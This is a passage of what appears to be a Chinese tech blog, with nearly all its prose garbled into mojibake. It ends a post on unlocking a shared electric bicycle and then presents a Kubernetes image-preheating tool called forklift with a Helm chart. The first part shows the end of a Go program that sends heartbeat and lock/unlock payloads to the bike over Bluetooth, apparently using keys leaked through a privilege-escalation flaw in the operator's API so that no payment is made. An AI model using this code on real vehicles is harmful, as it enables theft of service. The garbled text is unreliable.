</span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">216</span>, <span style="color:#a5d6ff">'R'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">'A'</span>, <span style="color:#a5d6ff">'C'</span>, <span style="color:#a5d6ff">'T'</span>, <span style="color:#a5d6ff">'E'</span>, <span style="color:#a5d6ff">'D'</span>, <span style="color:#a5d6ff">130</span>, <span style="color:#a5d6ff">42</span>, <span style="color:#a5d6ff">86</span>, <span style="color:#a5d6ff">39</span>, <span style="color:#a5d6ff">22</span>, <span style="color:#a5d6ff">190</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">18</span>, <span style="color:#a5d6ff">174</span>, <span style="color:#a5d6ff">90</span>, <span style="color:#a5d6ff">66</span>, <span style="color:#a5d6ff">71</span>, <span style="color:#a5d6ff">56</span>},
</span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">135</span>, <span style="color:#a5d6ff">160</span>, <span style="color:#a5d6ff">58</span>, <span style="color:#a5d6ff">30</span>},
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> data []<span style="color:#ff7b72">byte</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> mode <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">"lock"</span> {
</span></span><span style="display:flex;"><span> data = lock
</span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> {
</span></span><span style="display:flex;"><span> data = unlock
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> payloads <span style="color:#ff7b72;font-weight:bold">:=</span> append(heartBeats, data)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, p <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> payloads {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(writeCharacteristic, p, <span style="color:#79c0ff">true</span>); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> panic(err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> time.<span style="color:#d2a8ff;font-weight:bold">Sleep</span>(<span style="color:#a5d6ff">200</span> <span style="color:#ff7b72;font-weight:bold">*</span> time.Millisecond)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">CancelConnection</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> panic(err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold"><-</span>client.<span style="color:#d2a8ff;font-weight:bold">Disconnected</span>()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>ç¼è¯è¿è¡è¯¥ Go ç¨åºï¼ç¨åºèçæ¾å°å
±äº«çµå车ç¶åå°±å¼éäº~</p>
<div class="container">
<div id="player-wrapper" class=""></div>
</div>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/@clappr/player@latest/dist/clappr.min.js">
</script>
<script>
var playerElement = document.getElementById("player-wrapper");
var player = new Clappr.Player({
source: "/images/2023/08/hack-electric-bicycle.mp4",
mute: true,
height: 360,
width: 640
});
player.attachTo(playerElement);
</script>
<p>ææè¿æ¯ç¸å½å¸
çã</p>
<h2 id="æå说å å¥">æå说å å¥</h2>
<p>æ以综ä¸ï¼è¿ä¸ªå
±äº«çµå车æ大çé®é¢å°±æ¯é£ä¸ªæ¥è¯¢è½¦è¾ç§é¥çæ¥å£åå¨æ°´å¹³è¶æï¼å¯ä»¥è·åä»»æ车è¾çç§é¥è¿è¡å¼éï¼è没æ确认ç¨æ·çæ¯ä»ç¶æãä¹åä¹å°è¯çè¿é
åºæ¿é´éçèçèªå¨è´©åæºï¼æçæ¯ä¼æ ¡éªååçè´ä¹°ç¶æï¼å¹¶ä¸æ¯ä¸æ¬¡å¼éç Secret é½ä¼åï¼æçå°±æ èä¸é´äººæå
æ¹ä¸å°±è¡ï¼è¿ Secret é½æ²¡æã
åæ¶ï¼æç« å¼å¤´æå°çå°ç¨åº 20 å
èµ·å
ï¼å
¶å®æ个å
ä¹è½å¾ç®åç bypassã</p>
<p>ä½ææ¯éµçºªå®æ³ç好å¸æ°ï¼æç°å¨åºé¨ä¹è¿æ¯èèå®å®å°æ«ç å
å¼éªè½¦å¦ï¼çåé¢ä¹°è½¦äºå
¶å®ä¹ç¨ä¸ä¸é£äºå
±äº«çµå车äºãå»å»ã</p>
<p>è¯è¯´ææå®è¿äºåï¼æ¬å家çå
±äº«çµå车ä¸ç´åå¨æ¥¼éæå¾åæ¬ä¸å»è¿æãæå°æåï¼è¿åçåºçè¿è¥ç»æçææºåæ¯åçä¿¡åæ¯çµè¯ï¼é®æä½åªï¼ç¶å亲èªä¸æ¥æåå¨æ¥¼éççµå车æ¬èµ°äºï¼ç»æåå¾ä»¥ä¸ºæ¥æ¥æ°´è¡¨äºãçæ¥ç§èªæ¹è½¦é车è车å¨ä»ä»¬ç¼éå·²ç»è§æªä¸æªäº……</p>
- æåªæ¯æ³è¦ä¸ä¸ªç®åè½»éç K8s éåé¢çèå·²ï¼https://github.red/forklift/Thu, 16 Mar 2023 03:34:07 +0800https://github.red/forklift/<p>æè¿ä¸ä¸ªå¤æï¼æççæ´»åçäºå¾å¤§çåå¨ã2 æ 15 æ¥å 为ä¸ç´ä»¥æ¥ç§¯æçæ
绪ï¼å¿æ
å¾å·®ãé£å¤©æ·±å¤ææäºç¦»èï¼ç¦»å¼äºä»é¶å¼å§ä¸ç´å¹²äºä¸¤å¹´å¤çå
¬å¸ã</p>
<p>åé¢åæ¯å 为ä¸äºä¸æ¹ä¾¿æ说çåå ï¼ç»è¥äºä¸¤å¹´å¤ç NekoBox 被迫å
³ç«ãä¹åæä¼é对è¿ä¸ªäºæ
ä¸é¨åä¸ç¯æç« ï¼è¯´æèåå°åºåçäºä»ä¹ï¼ä»¥åå享è¿ä¸¤å¹´æ¥çå¿å¾ä½ä¼ï¼åæ¶ç»ä¹åèç¨æ·æä¾æ°æ®åæ¡£ååçæ¸ éãæ´ä»¶äºæ
åççæºçªç¶çï¼å¯¹æèè¨ä¹ç®æ¯ä¸ç§äººçä½éªå§ï¼ååã</p>
<p>ä»å¤©æ³è¦å享çï¼æ¯ Cardinal Pro å¹³å°å¨ä»å¹´ HGAME 2023 æ¯èµæ¶éå°çä¸ä¸ªé®é¢ï¼ä»¥åæç»åºç解å³æ¹æ¡ï¼å¯è½ä¸æ¯å¾å®åï¼è¿è¯·åä½å¤å¤æç¹ã</p>
<h2 id="诶ææ°å çèç¹æä¹ä¸è½ç¨">诶ï¼ææ°å çèç¹æä¹ä¸è½ç¨ï¼ï¼</h2>
<p>ä»å¹´ç HGAME 2023 æ¯åä¼ç¬¬ä¸æ¬¡ä½¿ç¨æå¼åç Cardinal Pro å¹³å°ä¸¾åï¼ç¸æ¯ä¹åä½¿ç¨ PHP å¼åçå¹³å°ï¼æ大çç¹è²å°±æ¯å¹³å°æ¯æåºäº Kubernetes å¨æå¯åéæç¬äº«é¶æºï¼ç¸æ¯ä¹åç±åºé¢äººåç¬ä½¿ç¨åèªçå¦çæºé¨ç½²å
±äº«é¢ç®ç¯å¢ï¼æäºè´¨çé£è·ã</p>
<blockquote>
<p>è¿éææä¸æ¡å¹¿åï¼å¦æä½ æç¸å
³æ¯èµ / å¹è®éæ±ï¼æ³ä½¿ç¨ Cardinal Pro åä¸ç«èµå¹³å°ï¼æ¬¢è¿èç³»<a href="https://lwsec.cn/">æå·åæ¦ç§æ</a>~</p>
</blockquote>
<p>è·å¾å¹´çåä¼å¯åææ°èµä¸æ ·ï¼HGAME 2023 æ¯ä¸ä¸ªé¿è¾¾ä¸ä¸ªæçæ¯èµï¼ç»å为åå¨åç¬è®¡ç®æåï¼å¯¹åºå°æ¯èµå¹³å°éå°±æ¯ååºæ¯èµãåèµäººæ°ä¹æ¯éå¨éåï¼è½åæå°æåçæ°çï¼ææå¯è½æºè¿æåçæ»å³èµãæ以对äºå¹³å°èè¨ï¼æ们è¦åºå¯¹çå°±æ¯æ¯èµåå¼å§æ¶ç¬¬ä¸å¨ççªåæµé以åéæå¨æé¶æºå¼å¯éæ±ã</p>
<p>å¨ç¬¬ä¸å¨çæ¶åï¼è¿ç»´çåå¦æ¥çé群ç¶æåç°é群å
Pod æ°éè¾å¤ï¼èç¹ç¸å¯¹ååè¾å¤§ï¼å æ¤æ°å äºä¸ä¸ªèç¹è¿é群ãç¸å¯¹åºçï¼åé¢å¼å¯çé¢ç®é¶æºä¹å°±ä¼è¢« K8s ä¼å
è°åº¦å°æ°å¼ç空é²èç¹ä¸ãç¶åé®é¢å°±åºç°äº ââ å¹³å°ä¸éæé¢ç®ç¯å¢ä¸ç´å¼ä¸èµ·æ¥ï¼æåè¶
è¿è®¾ç½®çè¶
æ¶æ¶é´ï¼å端è¿åæ¥éã
ç»è¿ææ¥åç°ï¼æ¯å 为æ¬æ¬¡æ¯èµä¸ºäºå°½å¯è½çè约ææ¬ï¼é群大å¤ä½¿ç¨è¾¹ç¼èç¹ï¼æä¸äºèç¹çç½ç»ç¯å¢å¯è½å¶å°æ½é£ï¼å¯¼è´æ æ³è¿æ¥ä¸éåæºæåéåãå½æ¶ä¸´æ¶ç解å³æ¹æ¡æ¯éæ°æ¢äºå
¶ä»ç½ç»æ£å¸¸çè¾¹ç¼èç¹æåã</p>
<p>åæ¥è®¨è®ºäºä¸ï¼è®¤ä¸ºé群å
éè¦æ个éåé¢ççåè½ï¼æåå°éè¦ç¨å°çéåæåå°æ¬å°ãå 为æµéé«å³°å°±æ¯å¨æ¯èµåæï¼è¿æ¶å¾å¾ä¹æ¯ç¬¬ä¸æ¬¡æåéåï¼ä¸ç¸å°±ä¼ç¸ä¸çå¾å½±åç¨æ·ä½éªã</p>
<h2 id="ç°æçè½®å太éäº">ç°æçè½®å太éäº</h2>
<p>æç´¢äºä¸ç¸å
³çèµæï¼åç°é¿éå¼æºç <a href="https://d7y.io/">Dragonfly</a> å <a href="https://openkruise.io/">Openkruise</a> 项ç®é½æ¯æéåé¢ççåè½ã</p>
<h3 id="dragonfly">Dragonfly</h3>
<p>Dragonfly æ¯ä½ä¸ºä¸ä¸ª P2P æ件ååç³»ç»è¢«è®¾è®¡åºæ¥ï¼æåçç®çæ¯ä¸ºäºæ¯æååä¸èåçæå¡å¨é´å¤§è§æ¨¡çæ件ååéæ±ãè容å¨éåæ¬è´¨ä¸ä¹æ¯åå¨ç£çä¸çä¸å±å±æ件ï¼æ以ä¹å°±é¡ºå¸¦æ¯æäºãå
·ä½çä»ç»æç« å¯ä»¥çè¿ç¯ï¼<a href="https://developer.aliyun.com/article/244897">ãç´å»é¿éå11ç¥ç§ææ¯ï¼PB级大è§æ¨¡æ件ååç³»ç»âè»èâã</a>ã
ä½æ¯å½ææ£åå¤éæ©æ建 Dragonfly æ¶ï¼æåç°è¿ä¸è¥¿æèµ·æ¥åè¿éè¦ Redis å MySQLï¼ï¼ï¼ä»¥åå®å¯¹äº Docker è¿è¡æ¶çéåååï¼è¿éè¦æç¼è¾ <code>/etc/docker/daemon.json</code> æ件添å ç§æçéåæºå¹¶éå¯ Docker è¿è¡æ¶ã
è¿ç§ä¾µå
¥å¼å¤ªå¼ºçé
ç½®æ并ä¸å欢ï¼å æ¤æ¾å¼äºä½¿ç¨ Dragonflyã</p>
<h3 id="openkruise">Openkruise</h3>
<p>æå¨æèªå·±çé群é使ç¨äº Openkruise æ¥ç» Elaina 代ç è¿è¡å¨å容å¨é¢çï¼ç¸æ¯ Dragonfly çèªå·±å¯å¨äºä¸ä¸ª HTTP 代çä½ä¸ºç§æéåæºï¼Openkruise åæ¯å®ä¹äºä¸ä¸ªå为 <code>ImagePullJob</code> ç CRD (Custom Resource Define) å®å¶èµæºç¨äºæè¿°éåé¢çççç¥ãæå¯ä»¥æå®æåéåçå称以åæåçç¥ï¼Openkruise é»è®¤ä¼å¨æ¯å¤©é¶ç¹æ£æ¥ä¸éæ¯å¦æéå没ææåã
å¨é¨ç½²ä¸ï¼ä¹åªæ¯ä¸ä¸ª Controller Podï¼ç¶åå¨æ¯ä¸ªèç¹ä¸ DaemonSet é½èµ·ä¸ä¸ª Daemon Podï¼ç¸å¯¹æ¥è¯´æ¯è¾è½»éã
ä½æ¯å°±æ¯èµå¹³å°æ¥è¯´ï¼æ¯æ¬¡åºé¢äººä¸ä¼ äºä¸éé¢ç®ï¼å°±è¦æå¨å建ä¸ä¸ª <code>ImagePullJob</code> èµæºæ¥é
ç½®è¿ä¸ªé¢ç®çéåé¢çãè¿ä¸ªå·¥ä½äº¤ç»è¿ç»´çåå¦æå¨æ¥åä¸å¤ªåéï¼ç´æ¥è¦åè¿å¹³å°è®©å®å»åä¸ç®¡ç Openkruise çèµæºä¹ä¸ä¼é
ã
åµä¸ Openkruise ä»
ä»
åªæ¯èªå¨ä»éåæºæåéåç½¢äºï¼éå°ä¸ææå°çèç¹æ¬èº«ç½ç»æé®é¢ï¼è¿ä¸ä¸éåä»åºï¼è¿æ¯æ 解ã</p>
<h2 id="éè£
ç®±å车å¯å¨">éè£
ç®±å车å¯å¨ï¼</h2>
<p>综ä¸ï¼ææ³è¦çä»
ä»
åªæ¯ä¸ä¸ªç®åè½»éï¼è½å¨é群èç¹é´åæ¥æå®å½å空é´å
Pod éåçç»ä»¶ãæ以就æäº forklift è¿ä¹ä¸ä¸ªé¡¹ç®ï¼<a href="https://github.com/wuhan005/forklift">https://github.com/wuhan005/forklift</a> ï¼forklift çä¸æç¿»è¯æ¯å车ï¼ä¹å°±æ¯æ¸¯å£ç 头ç¨æ¥æ¬è¿éè£
ç®±çé£ç©æï¼ç¨å¨è¿éè¿æºè´´åçã</p>
<p>å
æ¾ä¸å¼ æç²ç¥ç»å¾æ¶æå¾ï¼ç¶åæåæ¥è¯¦ç»å享ä¸å®çä¸äºå®ç°ç»èï¼</p>
<p><img src="https://github.red/images/2023/03/forklift-architecture.png" alt=""></p>
<p>å Openkruise ä¸æ ·ï¼æä¼å¨é群éçä¸å°èç¹ä¸é¨ç½²ä¸ä¸ª <code>forklift-controller</code> ä½ä¸ºä¸»çæ§å¶å¨ï¼è¿å°èç¹ä¹å°±æ
任起äºä»å¤é¨æåéå并ååçå·¥ä½ãå®é
å¨ç产ä¸æ们å¯ä»¥ç¨ Node Selector æ¥æå®ä¸å°ç½ç»å¥½ç£ç大çèç¹ä½ä¸º Controllerã
ææçèç¹ä¸é½ä¼é¨ç½²ä¸ä¸ª <code>forklift-daemonset</code> ç¨äºå®æ¶è½®è¯¢ controllerï¼ä¸èªå·±æ¬å°å·²æçéåå对æ¯ï¼çæ¯å¦æ缺失çéåéè¦æåãå¦æéè¦æååå»è¯·æ± controllerã</p>
<p>ä¸è®ºæ¯ <code>forklift-controller</code> è¿æ¯ <code>forklift-daemonset</code>ï¼å®ä»¬ä¸ºäºè½æä½èªèº«èç¹å®¿ä¸»æºä¸ç容å¨è¿è¡æ¶ï¼å æ¤é½æ¯é¨ç½²ä¸ºç¹æ容å¨ï¼å¹¶ä¸è½è®¿é®å°å®¿ä¸»æºçè¿ç¨ãå
·ä½ç宿主æºå½ä»¤æ§è¡æ¹å¼å¯ä»¥é
读æä¹åçæç« ï¼<a href="https://github.red/kubectl-exec-as-root/#%E4%BB%A3%E7%A0%81%E8%BF%98%E6%98%AF%E5%BE%97%E5%86%99%E7%9A%84%EF%BC%8C%E8%AF%A5%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%91%A2%EF%BC%9F">ãååï¼ä½ è¿ kubectl exec æä¹ä¸è½æå®ç¨æ·åï¼ã</a>
åæ¶è¿è¦æå¨ä¸ä¸ªå¸¦é群 Pods ååºæ¥çæéç ServiceAccount Token å° Pod å
ï¼å 为éè¦è·åæå®å½å空é´ä¸ç Pod éåä¿¡æ¯ã</p>
<h3 id="forklift-controller">forklift-controller</h3>
<p>å¯¹äº Controller èè¨ï¼ç¨æ·éè¿å¨ ConfigMap ä¸æå®éè¦åæ¥éåçå½å空é´ï¼ConfigMap 以é
ç½®æ件çå½¢å¼è¢«æè½½å°å®¹å¨ä¸ãController 读åé
ç½®åï¼å¯å¨ä¸ä¸ªç®åç HTTP æå¡ï¼æ ¹è·¯ç± <code>/</code> è¿åæå®å½å空é´ä¸çææ Pods éåã
<code>/load</code> è·¯ç±æ ¹æ®ä¼ å
¥çéååï¼è¿åéåæ件å
ãå¦æ Controller èç¹ä¸äºå
ä¸å«è¿ä¸ªéåï¼é£ä¹å®ä¼æä½å®¿ä¸»æºæ§è¡ <code>docker pull</code> å½ä»¤å»æåï¼ä¹åå <code>docker export</code> å°å®¿ä¸»æºï¼å¯¼åºå宿主æºæ§è¡ <code>docker cp</code> å¤å¶éåç Tar å
å° Pod ç容å¨å
ï¼æåå¨ HTTP ååºä¸è¿åã</p>
<p>è¿éæä¸ä¸ªæ¯è¾èç¼çç¹ï¼æå¨æ§è¡ <code>docker cp</code> å½ä»¤æ¶ï¼å®æ´çå½ä»¤å¦ï¼<code>docker cp /tmp/image.tar <containerID>:/tmp</code>ï¼å
¶ä¸ç <code><containerID></code>ï¼ä¹å°±æ¯å®¹å¨ IDï¼åºè¯¥å¦ä½æ£ç¡®çè·åå¢ï¼
å¨ç½ä¸æ¾äºä¸åï¼å¾å°çåæ³ä¹åªæä¸æ¡æ¡éåçéå½å Pod ç <code>ContainerStatuses</code>ï¼æ¾å° Name 为å½å容å¨åç Status è®°å½ï¼å读åè¿æ¡è®°å½ä¸ç ContianerID å段ï¼ççæ¯æå¤æ´åçã
é£ä¹æåæä¹å¾ç¥å½å <code>forklift-controller</code> Pod å¨é群å
çååå¢ï¼çæ¡æ¯éè¿è¯»å <code>HOSTNAME</code> 主æºåç¯å¢åéï¼</p>
<p>è¿äºæ¹æ³ä¸ç¥ä¸ºä½æ»ç»äººä¸ç§ä¸æ¯é£ä¹å¯é çæ觅.. å¦æä½ ææ´å¥½çåæ³ï¼æ¬¢è¿æåºã</p>
<h3 id="forklift-daemonset">forklift-daemonset</h3>
<p>Daemonset åä¼æ¯äºåé请æ±ä¸æ¬¡ <code>forklift-controller</code> ç HTTP æå¡ï¼è·åéè¦æåçéåå表ï¼åæ¶ä¸èªå·±èç¹ä¸çéåè¿è¡å¯¹æ¯ãåç°æèªèº«ä¸åå¨çéåï¼åå»è¯·æ± <code>/load</code> æ¥å£ä¸è½½è·åãæ´ä¸ªè¿ç¨ä¸ Controller å好æ¯ç¸åçï¼Daemonset ä¸è½½å®éåå° Pod 容å¨åï¼æä½å®¿ä¸»æºæ§è¡ç±»ä¼¼ <code>docker cp <containerID> /tmp/image.tar</code> çå½ä»¤å¤å¶ä¸è½½åçéå Tar å
å°å®¿ä¸»æºï¼ä¹åæ§è¡ <code>docker load</code> 导å
¥ã</p>
<p>è¿æ ·ç <code>docker export</code> å <code>docker load</code> éå导åºå导å
¥çåæ³ï¼å¯ä»¥ä¿è¯éåçå称ç»å¯¹ä¸ä¼æé®é¢ãä¸å Dragonfly ä»èªå·±å¯å¨ç代çéåæºæåéåï¼æåçéåå称åé¢ç Host ä¼æ¯ä»£çéåæº URL ä¸çã</p>
<p>ç®å forklift ä»
æ¯æ Docker è¿ä¸ä¸ª CRIï¼æçäºä¸ä¸ª Interfaceï¼ç¨äºå®ç°ä¹åç containerd çå
¶å®è¿è¡æ¶ï¼å
¶å®ä¹å°±æå
¶å®è¿è¡æ¶çéåå表ãæåã导å
¥å¯¼åºç»å®ç°å°±è¡äºï¼æ¬è´¨ä¸è¿æ¯å»å®¿ä¸»æºä¸æ§è¡å½ä»¤è°åç§ CLIã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">type</span> CRI <span style="color:#ff7b72">interface</span> {
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">ListImages</span>(ctx context.Context) ([]<span style="color:#ff7b72;font-weight:bold">*</span>Image, <span style="color:#ff7b72">error</span>)
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">PullImage</span>(ctx context.Context, image <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span>
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">LoadImage</span>(ctx context.Context, image, sourcePath <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span>
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">ExportImage</span>(ctx context.Context, image, destPath <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="æ该æä¹æå¿«çå¼åè°è¯">æ该æä¹æå¿«çå¼åè°è¯ï¼</h2>
<p>以ä¸å°±æ¯ forklift ç大è´åçï¼å¬èµ·æ¥ç¡®å®å¾ç®åææï¼ä½æ¯æå¨æ¬å°å¼åçæ¶åå´ç¯çæè³æ è
®ãä¸å¨é群ç¯å¢éå¼åé群ç»ä»¶ï¼âå¦ä½å¨æ¬å°æ¹ä¾¿çè°è¯?âæäºæçä¸ä¸ªå¤§é¾é¢ã
æå¨è¯¢äºä¸å¨ä¸æµ·æå¸åå¼æº K8s CI/CD 产åçåå¦ï¼ä»è¯´ä»ä»¬è°è¯å°±æ¯ä»£ç åå®åè·èªå¨å CI æå
Dockerfile é¨ç½²å°é群éçãæ以å¨é£ä¹åä¹ä¼ææè¯å°å¨ä»£ç éå¤è¾åºæ¥å¿ï¼å 为é¨ç½²ä¸æ¬¡çæ¶é´å¨ææºé¿ï¼æ好äºåä¸æ¬¡æå®ãè¿ç§è¡ä¸ºå¨æå¬æ¥ååçèåï¼ææ³æ大æ¦ç¥éä»ä»¬æ´»å¹²å¾æ
¢äººæä¸å¤çåå 亅…</p>
<p>å¶ç¶çä¸æ¬¡ï¼æå·å°äºä¸ç¯å
¬ä¼å·æç« <a href="https://mp.weixin.qq.com/s/maI6Nu6r431LtGzrgq_6rg">ã为ä»ä¹å¨ Kubernetes ä¸è°è¯åºç¨çä½éªå¦æ¤ç³ç³ï¼ã</a> ï¼æä¸ä»ç»äº Telepresence è¿ä¹ä¸ä¸ªé¡¹ç®ãå®ä»¥é¨ç½² Sidecar çå½¢å¼ï¼æ¦æªé群ä¸åéè³æå® Pod çæµéå°æ¬å°ï¼åæ¶ä½¿å¾æ¬å°å¯ä»¥ç´éé群å
é¨çç½ç»ã并ä¸ä¸ºäºé¿å
对线ä¸ç产ç¯å¢é æå½±åï¼å®è¿æ¯æ设置带ä¸æå®ç HTTP Header åæ触åæµéæ¦æªãå æ¤æåªéè¦æ¬å° GoLand ç¼è¯ä»£ç è¿è¡å³å¯ãforklift éè¦è¿æ¥çº¿ä¸ K8s APIï¼å¼å¯ Telepresence çè¯ç´æ¥ä½¿ç¨ <code>https://kubernetes.default/</code> å°±è½è®¿é®ï¼åæ¶ Controller HTTP æå¡ç Serviceï¼ä¹å¯ä»¥ç´æ¥å¨æ¬å°è¿è¡è®¿é®ã</p>
<p>Telepresence ç®æ¯å¸®æ解å³äºç½ç»ä¸ç大é¾é¢ï¼è³äº ServiceAccount Token çæè½½ï¼å°±åªè½å¨ä»£ç éå°å
¶åæå¯é
ç½®çï¼è¯»å½åè¿è¡è·¯å¾ä¸çæ件äºãæ件æè½½ä¸ç®ååç¡®å®æ²¡æå¥æ´å¥½çåæ³ãï¼æ²</p>
<h2 id="让-chatgpt-帮æå-helm-chart">让 ChatGPT 帮æå Helm Chart</h2>
<p>代ç åå®è·éåï¼åé¢å°±è¯¥æ³æ³æä¹æ ·è®©ç¨æ·æ¹ä¾¿çé¨ç½²äºãæèªå·±çé群ä¸ç´æ¯å¨ç¨ ArgoCD 以 Helm Chart çå½¢å¼é¨ç½²åç§åºç¨ï¼è¿æ¬¡ä¹æç®èªå·±è¯è¯æå
ä¸ä¸ªèªå·±ç Chartã</p>
<p>ç½ä¸æç´¢å
³äº Chart å¼åçå
¥é¨æç¨ï¼å¾å¾é½æ¯è®©ä½ æ§è¡å¦ <code>helm create forklift</code> è¿æ ·çå½ä»¤ï¼å建ä¸ä¸ªå·²ç»å
å«äº Deploymentï¼Ingressï¼Serviceï¼çè³ HPA çåºç¡ Chartãè¿ä¸å YAML åé
åä¸ Go é£å人类ç模æ¿è¯è¨ï¼ç´æ¥ç»äººçæµäºï¼å®å
¨æ ä»ä¸æãð¥
并ä¸å®è¿ä¼ç»è´´å¿å°ç»ä½ å±ç¤ºä¸äºâé«çº§ç¨æ³âï¼æ¯å¦æ个 <code>_helpers.tpl</code> æ件å¯ä»¥å®ä¹å
±ç¨ç模åï¼æ个 <code>tests</code> æ件夹ç»ä½ å个类似äºæµè¯ä¸æ ·çä¸è¥¿ãä½æåªæ¯æ³å°ä¸ªç®ç®ååç Helm Chartï¼èªå·±åæå®å 个åæ°å
许ç¨æ·èªå®ä¹èå·²åï¼ï¼ï¼</p>
<p>çªç¶ï¼ææ³å°èªå·±å¨çº¿ä¸é群æµè¯çæ¶åï¼æ¾åäºå 个 YAML æ¥é¨ç½²éè¦ç¨å°çåç§èµæºãåå ä¸è¿æ®µæ¶é´å代ç 没å°éº»ç¦ ChatGPTï¼æå°±å¨æ³è½ä¸è½è®© ChatGPT 帮æåºäºç°æç YAMLï¼ç»æçæåº Helm Chat æ¥ãè¯äºä¸ææè¿çä¸éãæ们åªéè¦å°ä¹åçå 个 YAML å
¨é¨å并å°ä¸ä¸ªæ件ä¸ï¼ç¶åä¸èµ·åç» ChatGPT 让å®å¸®å¿çæå°±è¡ã</p>
<p>ä¸å¼å§å®ä¼æ¯è¾ç¬¼ç»å°åè¯ä½ å建 <code>Chart.yaml</code> å <code>values.yaml</code> è¿ä¸¤ä¸ªæ件ï¼</p>
<p><img src="https://github.red/images/2023/03/forklift-chatgpt-01.png" alt=""></p>
<p>ä½æ¯æ们å¯ä»¥ç»§ç»è¿½é®å®ï¼è®©å®æä¾å®æ´ç <code>values.yaml</code> æ件çå
容ï¼å®ä¼æ ¹æ®åé¢åç§èµæºç YAML å®ä¹ï¼æ¯è¾èªæå°å¤æåºåªäºæ¯åºè¯¥æ´é²å° <code>values.yaml</code> éæä¾ç»ç¨æ·èªå®ä¹çã</p>
<p><img src="https://github.red/images/2023/03/forklift-chatgpt-02.png" alt=""></p>
<p>对äºç¨å¾®ä¸ç¬¦åé¢æçç»æï¼æ们å¯ä»¥å¨èªå·±æ¹äºä¸ç¹ä¹åï¼å让 ChatGPT 帮æ们å¤çå¤æç Go 模æ¿è¯è¨ä¹¦åï¼</p>
<p><img src="https://github.red/images/2023/03/forklift-chatgpt-03.png" alt=""></p>
<p>çè³æåé¨ç½²å° ArgoCD ç Application YAMLï¼ä¹å¯ä»¥è®©å®å¸®ä½ å®æï¼ççå¾æ£ï¼</p>
<h3 id="æå
">æå
</h3>
<p>å®æäº Helm Chart çç¼ååï¼æ们å¯ä»¥è¿è¡ä¸ Lint ççæ¯å¦æé®é¢ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm lint --strict
</span></span></code></pre></div><p>没é®é¢åï¼é£å°±å¼å§æå
å¯~</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm package .
</span></span><span style="display:flex;"><span>mv forklift-0.1.0.tgz ./charts <span style="color:#8b949e;font-style:italic"># 移å¨å° charts ç®å½ä¸ï¼æ´é½ä¸äº</span>
</span></span></code></pre></div><p>æåæ´æ°æ们ç <code>index.yaml</code> æ件ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm repo index .
</span></span></code></pre></div><p>è³æ¤ï¼ä½ å°±å¯ä»¥ commit + push 代ç äºï¼åæ¶è¦ç»å¯¹åºç GitHub ä»åºå¼å¯ GitHub Pageãï¼è¯´å®è¯æä¸è§å¾ææå
åç <code>.tgz</code> æ件æ¨ä¸å»æ¯ä¸ªå¥½ä¸»æï¼æ许ææ´å¥½çæ¹æ³ï¼ï¼</p>
<p>æ们éè¦çæ GitHub Page ä¸å¯¹åºæåä»åº <code>Chart.yaml</code> æ件çè·¯å¾ãæçè¿ä¸ª <code>forklift</code> 项ç®è·¯å¾æ¯æ¾å¨ <code>./charts</code> ç®å½ä¸ï¼åæ¶æç GitHub ID æ¯ <code>wuhan005</code>ï¼æ以å½æ人è¦æåæç Chart æ¶å¡«åç URL æ¯ï¼</p>
<pre tabindex="0"><code class="language-url" data-lang="url">https://wuhan005.github.io/forklift/charts/
</code></pre><h2 id="todos-ä½æ¿ä¸å">TODOs ï¼ä½æ¿ä¸åï¼</h2>
